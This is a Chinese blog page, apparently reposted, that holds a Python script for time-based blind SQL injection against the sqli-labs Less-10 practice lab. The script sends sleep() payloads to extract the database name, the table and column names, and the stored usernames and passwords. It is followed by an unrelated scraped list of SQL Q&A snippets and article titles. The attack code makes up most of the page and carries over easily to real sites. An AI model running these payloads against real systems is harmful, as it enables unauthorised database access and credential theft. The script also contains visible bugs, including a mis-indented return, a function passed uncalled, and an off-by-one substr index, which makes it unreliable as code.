sqli-labs布尔盲注和时间盲注相结合的脚本实现

2023-11-15

import time
import requests
# 定义一个变量 用于存放cookie值
HEADER = {"cookie":"Idea-69a0360c=059291e0-9967-4fe4-bb5e-2524cdcf69d4; security_level=0"} 
BASEURL = "http://localhost/sqli-labs-master/Less-10/?"
# 定义一个函数 用于获取数据库的长度
def get_database_length() -> int:
    # 定义一个变量 用于储存数据库的长度的
    length = 0
    # 定义一个循环 用于判断数据库的个数
    for i in range(100):
        # 定义一下sql语句
        url = BASEURL + "id=1\" and length(database())={} and sleep(2)--+".format(i)
        # 获取一下当前的时间
        start_time = time.time()
        # 执行sql语句
        requests.get(url, headers=HEADER)
        # 条件判断一下
        if time.time() - start_time > 2:
            print("这个数据库的长度为{}".format(i))
            length = i
     return length
# 定义一个函数 用于获取数据库的名称
def get_database_name(length):
    # 输出提示语
    print("数据库名称为:")
    # 定义两层循环 外层为数据库的个数 内层为判断数据库的ascii码值 一般为33~128
    for i in range(length):
        for j in range(33, 128):
            # 定义一下sql语句
            url =  BASEURL + "id=1\" and ascii(substr((database()),{},1))={} and sleep(2)--+".format(i + 1, j)
            # 获取一下当前时间
            start_time = time.time()
            # 执行一下sql语句
            requests.get(url, headers=HEADER)
            # 条件判断他一下子
            if time.time() - start_time > 2:
                print(chr(j), end="")
# 定义一个函数 用于获取表格的数量
def get_table_count() -> int:
    # 定义一个变量 用于获取表格个数
    count = 0
    # 定义一层循环 为表格个数
    for i in range(100):
        # 首先完善一下sql语句
        url = BASEURL + "id=1\" and (select count(table_name) from information_schema.tables where table_schema=database())={} and sleep(2)--+".format(i)
        # 定义一个变量 用于记录当前时间
        start_time  = time.time()
        # 执行sql语句
        requests.get(url, headers = HEADER)
        # 条件判断他一下子
        if time.time() - start_time > 2:
            print("当前数据库下的表格个数为{}".format(i))
            count = i
    return count
# 定义一个函数 用于获取每个表格的名称个数
def get_each_table_length(count):
    # 定义一下两层循环 外层循环为表格个数 内层循环为表格名称个数
    for i in range(count):
        for j in range(100):
            # 定义一个sql语句
            url = BASEURL + "id=1\" and (select length(table_name) from information_schema.tables where table_schema=database() limit {},1)={} and sleep(2)--+".format(i, j)
            # 获取一下当前时间
            start_time = time.time()
            # 执行sql语句
            requests.get(url, headers = HEADER)
            # 条件判断他一下子
            if time.time() - start_time > 2:
                print("第{}个表格的名称个数为{}".format(i + 1, j), end='  ')
                get_each_table_name(i, j)
        print("")
# 定义一个函数 用于获取每个表格的名称
def get_each_table_name(index, length):
    # 定义两层循环 外层循环为表格名称个数 内层循环为ascii码值
    for i in range(length):
        for j in range(33, 128):
            # 定义一下sql语句
            url = BASEURL + "id=1\" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={} and sleep(2)--+".format(index, i + 1, j)
            # 获取当前的时间
            start_time = time.time()
            # 执行sql语句
            requests.get(url, headers = HEADER)
            # 条件判断他一下子
            if time.time() - start_time > 2:
                print(chr(j), end='')
# 定义一个函数 用于获取users表格中的字段个数
def get_column_count() -> int:
    # 定义一个变量 用于获取字段数目
    count = 0
    # 定义一层循环 用于获取字段个数
    for i in range(100):
        # 定义一下sql语句
        url = BASEURL + "id=1\" and (select count(column_name) from information_schema.columns where table_name='users')={} and sleep(2)--+".format(i)
        # 获取一下当前时间
        start_time = time.time()
        # 执行sql语句
        requests.get(url, headers = HEADER)
        # 用一下条件判断语句
        if time.time() - start_time > 2:
            print("users表中的字段数目为{}".format(i))
            count = i
    return count
# 定义一个函数 用于获取每个字段的名称个数
def get_each_column_length(count):
    # 定义两层循环 外层循环为字段个数 内层循环为字段名称的个数
    for i in range(count):
        for j in range(100):
            # 定义一个sql语句
            url = BASEURL + "id=1\" and (select length(column_name) from information_schema.columns where table_name='users' limit {},1)={} and sleep(2)--+".format(i, j)
            # 获取当前时间
            start_time = time.time()
            # 执行sql语句
            requests.get(url, headers = HEADER)
            # 制造一个条件判断语句
            if time.time() - start_time > 2:
                print("第{}个字段的名称个数为{}".format(i + 1, j), end='  ')
                get_each_column_name(i, j)
        print("")
# 定义一个函数 用于获取每个字段的名称
def get_each_column_name(index, length):
    # 定义两层循环 外层循环用于获取字段名称的个数 内层循环用于获取ascii码值
    for i in range(length):
        for j in range(33, 128):
            # 定义一个sql语句
            url = BASEURL + "id=1\" and ascii(substr((select column_name from information_schema.columns where table_name='users' limit {},1),{},1))={} and sleep(2)--+".format(index, i + 1, j)
            # 获取当前时间
            start_time = time.time()
            # 执行sql语句
            requests.get(url, headers = HEADER)
            # 制造一个条件判断语句
            if time.time() - start_time > 2:
                print(chr(j), end='')
# 定义一个函数 用于获取用户名和密码信息
def get_username_and_password():
    # 定义两层循环 外层循环为字段个数 内层循环为ASCII码值
    for i in range(100):
        for j in range(33, 128):
            # 定义一个sql语句
            url = BASEURL + "id=1\" and ascii(substr((select concat(username, password) from users limit 0,1),{},1))={} and sleep(2)--+".format(i, j)
            # 获取当前时间
            start_time = time.time()
            # 执行sql语句
            requests.get(url, headers = HEADER)
            # 制造一个条件判断语句
            if time.time() - start_time > 2:
                print(chr(j), end='')
if __name__ == '__main__':
    get_database_length()# 调用获取数据库长度的函数
    get_database_name(get_database_length())# 调用获取数据库名称的函数
    get_table_count()# 调用一下获取表格个数的函数
    get_each_table_length(get_table_count)# 调用一下获取每一个表格的名称个数函数
    get_column_count()# 调用一下获取字段个数的函数
    get_each_column_length(get_column_count())# 调用一个获取每个字段名称个数的函数
    get_username_and_password()# 调用一下获取用户名和密码信息的函数

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sqli-labs布尔盲注和时间盲注相结合的脚本实现 的相关文章

  • Mysql带限制的删除语句

    我试图从表中删除行 但出现错误 DELETE FROM chat messages ORDER BY timestamp DESC LIMIT 20 50 我在 50 时收到此错误 您的 SQL 语法有错误 检查与您的 MySQL 服务器版
  • SQL:如何从一个表中获取另一个表中每一行的随机行数

    我有两个数据不相关的表 对于表 A 中的每一行 我想要例如表 B 中的 3 个随机行 使用光标这相当容易 但速度非常慢 那么我该如何用单个语句来表达这一点以避免 RBAR 呢 要获得 0 到 N 1 之间的随机数 可以使用 abs chec
  • 支持 >65k 行的 Excel VBA SQL 驱动程序

    在 Excel 2010 中通过 VBA 查询 Excel 数据时 我遇到一个有趣的问题 我正在使用这些驱动程序连接到 xls 或 xls x m 文件 Sub OpenCon ByRef theConn As Connection ByV
  • SQL Server 查询中 UNION ALL 与 OR 条件

    我必须根据表上不存在的条件选择一些行 如果我使用如下的 union all 它会在不到 1 秒的时间内执行 SELECT 1 FROM dummyTable WHERE NOT EXISTS SELECT 1 FROM TABLE t WH
  • 如何从表中检索特定列 --- JPA 或 CrudRepository?我只想从用户表中检索电子邮件列

    用户模型 Entity Table name user uniqueConstraints UniqueConstraint columnNames email public class User implements Serializab
  • jdbc4.MySQLSyntaxErrorException:数据库中不存在表

    我正在使用 SpringBoot 开发一个网络应用程序 这是我的application properties文件来指定访问数据库的凭据 spring datasource driverClassName com mysql jdbc Dri
  • 向带有检查约束 SQL 的表添加列

    我想向表中添加一列 然后添加一个检查约束以确保其大于 0 我似乎无法让它在 oracle sl Developer 中运行 Alter TABLE store101 add column Base salary Number 7 2 con
  • 计算2个日期之间每个日期的记录数

    我必须创建一个查询来返回多轴图表的结果 我需要计算为 2 个日期之间的每个日期创建的 ID 数量 我试过这个 DECLARE StartDate datetime2 7 11 1 2020 EndDate datetime2 7 2 22
  • 查看Jasper报告执行的SQL

    运行 Jasper 报表 其中 SQL 嵌入到报表文件 jrxml 中 时 是否可以看到执行的 SQL 理想情况下 我还想查看替换每个 P 占位符的值 Cheers Don JasperReports 使用 Jakarta Commons
  • 休眠以持久保存日期

    有没有办法告诉 Hibernate java util Date 应该持久保存 我需要这个来解决 MySQL 中缺少的毫秒分辨率问题 您能想到这种方法有什么缺点吗 您可以自己创建字段long 或者使用自定义的UserType 实施后User
  • rake db 问题:迁移 -

    我无法为 Ruby on Rails 设置 MySQL 数据库 设置数据库并确保 config database yml 文件匹配后 我遇到了以下错误消息 U Rails alpha gt rake db migrate trace in
  • 如何对 SQL 进行多次查询

    我正在尝试创建一个表 并在 PHP 脚本的帮助下在数据库中插入一些值 虽然只插入 1 行 但效果很好 当我尝试输入更多行数时 出现错误 我需要为每个查询编写完整的插入语句 因为我正在使用在线 Excel 到 SQL 查询转换器
  • MySQL InnoDB 约束不起作用

    我偶然发现 innoDB 约束的奇怪行为 但找不到原因 我有包含数据的表格 下面列出了它们的结构 CREATE TABLE contents id int 10 unsigned NOT NULL AUTO INCREMENT title
  • 拥有更多列或更多行会更高效吗?

    我目前正在重新设计一个可能包含大量数据的数据库 我可以选择在数据库中包含许多不同的列或使用大量行 如果我在下面做一些大纲 可能会更容易 item id user id title description content category t
  • PostgreSQL函数中sql语言和plpgsql语言的区别

    我很新数据库开发所以我对下面的例子有一些疑问 函数 f1 语言 SQL create or replace function f1 istr varchar returns text as select hello varchar istr
  • 如何在 SQL Server 2012 中选择除一列之外的所有列? [复制]

    这个问题在这里已经有答案了 有没有一种方法可以选择所有列 但只选择我不想选择的特定列 我的意思是有时我会遇到这样的问题 表有数百个字段 而我只需要删除一个字段 我需要重写所有列吗 有什么窍门吗 喜欢select
  • 重写 URL,将 ID 替换为查询字符串中的标题

    我对 mod rewrite 很陌生 但我做了一些搜索 但找不到这个问题的答案 我有一个网站 它只有一个 PHP 页面 根据查询字符串中传递给它的 ID 提供数十页内容 我想重写 URL 以便此 ID消失并替换为从数据库中提取的页面标题 例
  • 在 MySQL 数据库中保持 TEXT 字段唯一的最佳方法

    我想让 TEXT 字段的值在我的 MySQL 表中唯一 经过小型研究 我发现由于性能问题 每个人都不鼓励在 TEXT 字段上使用 UNIQUE INDEX 我现在想用的是 1 创建另一个字段来包含 TEXT 值的哈希值 md5 text v
  • 奇怪的 MySQL Python mod_wsgi 无法连接到 'localhost' (49) 上的 MySQL 服务器问题

    StackOverflow上也有类似的问题 但我还没有发现完全相同的情况 这是在使用 MySQL 的 OS X Leopard 机器上 一些起始信息 MySQL Server version 5 1 30 Apache 2 2 13 Uni
  • 使用函数的 SQL 查询 - 如何获取列表的最大计数

    如何查询 MAXIMUM COUNT 交易次数 我的代码如下 SELECT customer id COUNT customer id FROM rental GROUP BY customer id HAVING MAX COUNT cu

随机推荐

  • 17.subplot():绘制网格区域中的几何形状相同的子区布局

    文章目录 1 函数subplot 的使用方法 2 在极坐标轴上绘制折线图 3 在极坐标轴上绘制散点图 4 在非等分画布的绘图区域上实现图形展示 subplot C R P 表示在C行R列的网格布局上 子区subplot 会被放置到第p个位置
  • 如何用Python提升未来竞争力?十年工作经验老程序员来告诉你。一般人我都不告诉他

    今年很多人在问一个问题 到底什么才是抗风险能力 稳定的工作 存款 理财 有人预测 到2030年 今天一半的工作岗位都将消失 关于哪些工作最先消失 李开复提出过 五秒钟准则 一项工作如果可以在5秒钟内作出相应决定 那就非常可能被人工智能取代
  • 【iOS】【最新】2023苹果开发者账号注册流程(公司类型)

    一 Apple Developer 申请开发者账号 Apple Developer 点击 Account 创建 Apple ID 最好新注册一个新的 专门用做开发 需要注意的是 开发者的名字和 ID 想好在填写 注册成功后 不能自己修改 需
  • Netty网络编程(一):初步了解

    文章目录 简介 netty介绍 netty的第一个服务器 netty的第一个客户端 运行服务器和客户端 总结 简介 我们常用浏览器来访问web页面得到相关的信息 通常来说使用的都是HTTP或者HTTPS协议 这些协议的本质上都是IO 客户端
  • Javaweb的request请求

    1请求数据 request getMethod 获取请求方法 request getContextPath 获取虚拟路径 request getRequestURI 获取url String类型 request getRequestURL
  • Linux环境下安装Hadoop(完全分布式)

    切换到安装目录 解压Hadoop压缩包 修改软件名称 hadoop配置 切换目录 将以下配置文件放在usr app hadoop2 7 3 etc hadoop 目录下 这里 的文件是老师配好的 配置hadoop环境 让hadoop环境配置
  • msvcp120.dll丢失的解决方法?哪种解决方法比较推荐?

    关于msvcp120 dll丢失的解决方法这个问题 小编最近也经常看到有人在提问 可能这是一个比较容易丢失的文件 小编就来给大家详细的分析一下 说说它的三种解决方法 方便大家以后遇到这种问题 自己知道怎么处理 msvcp120 dll丢失的
  • mc服务器server文件夹位置,MC server.properties文件详解

    注 这里true为开启 false为关闭 Minecraft server properties 标题注释 Wed Sep 05 19 27 44 CST 2018 保存时间 spawn protection 16 设置为0将不会禁用出生点
  • Innovus/Encounter时序报告解读

    最近在学report timing这个命令 发现自己对timing report的认知只停留在看slack和delay数值上 于是 决定研究一下这个report Innovus Encounter的report格式确实有点不按套路出牌 初看
  • Es中索引的删除操作

    package com atguigu es test import org apache http HttpHost import org elasticsearch action admin indices delete DeleteI
  • Unity Android 安装apk后显示两个app的问题

    简介 前些天使用Unity打Android包的时候 安装到手机上 出现了两个icon一样的引用 分别点开后 启动的application不一致 原因 在项目中接入了一些SDK SDK的AndroidManifest文件中有个Applicat
  • webpack之引入css

    前言 本文演示了如何打包css文件 涉及到的loader css loader style loader css loader的任务 把css文件作为模块打包 style loader的任务 把打包好的css文件动态的插入到html文件的
  • js中获取token的函数

    1 从cookies获取 从Cookies中获取token function getToken var strcookie document cookie 获取cookie字符串 var arrcookie strcookie split
  • 功能安全专题之功能安全概念阶段

    目录 前言 1 基本概念 1 1 相关项定义 Item Definition 1 2 相关项的构成 1 3 危害分析与风险识别 Hazard Analysis Risk Assessment 1 4 危害与危害事件 Hazard and H
  • Mysql进阶四:常见函数-流程控制函数

    进阶四 流程控制函数 作者 alicomon 寄语读者 博客为学习记录 目的有二 记录知识点 方便温故知新 为读者提供帮助 用于交流 共同提高 流程控制函数 可好玩了 1 if函数 if else 函数 SELECT IF 10 gt 5
  • k8s之三、pod 生命周期/ 探针/ 调度策略/ 副本ReplicaSet / 控制器Deployment

    pod 生命周期官方文档 https kubernetes io zh cn docs concepts workloads pods pod lifecycle 一 容器初始化 创建当前pod容器前 先创建 依赖的其他 container
  • python打包后打开闪退问题解决方法总结

    最近写了一个python项目 今天打包后却发现没有反应 查了一些资料说在程序最后加一个input输入语句可以停留在这里 查看看到报错原因 我加了input语句之后执行下面指令进行打包 pyinstaller F hidden import
  • 整型有哪几种形式?各种形式有什么区别?

    整型有哪几种形式 C 中提供的整数类型有三种 int long short 每种类型又分为有符号和无符号两种类型 有符号整数既可以表示非负整数 又可以表示负整数 但是 无符号整数不能表示负数 只能表示非负整数 一 无符号整数 在内存中 in
  • 素数环

    昨天晚上 突然想读刘汝佳老师书中的例题 素数环 但是突然自己就有了思路 于是便自己实现了一下 但是 由于昨晚时间比较晚 程序是写完了 但是没调试出来 今天一大早就开始调试 花了半小时终于调试出来了 好开心 中心思想是 回溯 上代码 incl
  • sqli-labs布尔盲注和时间盲注相结合的脚本实现

    import time import requests 定义一个变量 用于存放cookie值 HEADER cookie Idea 69a0360c 059291e0 9967 4fe4 bb5e 2524cdcf69d4 security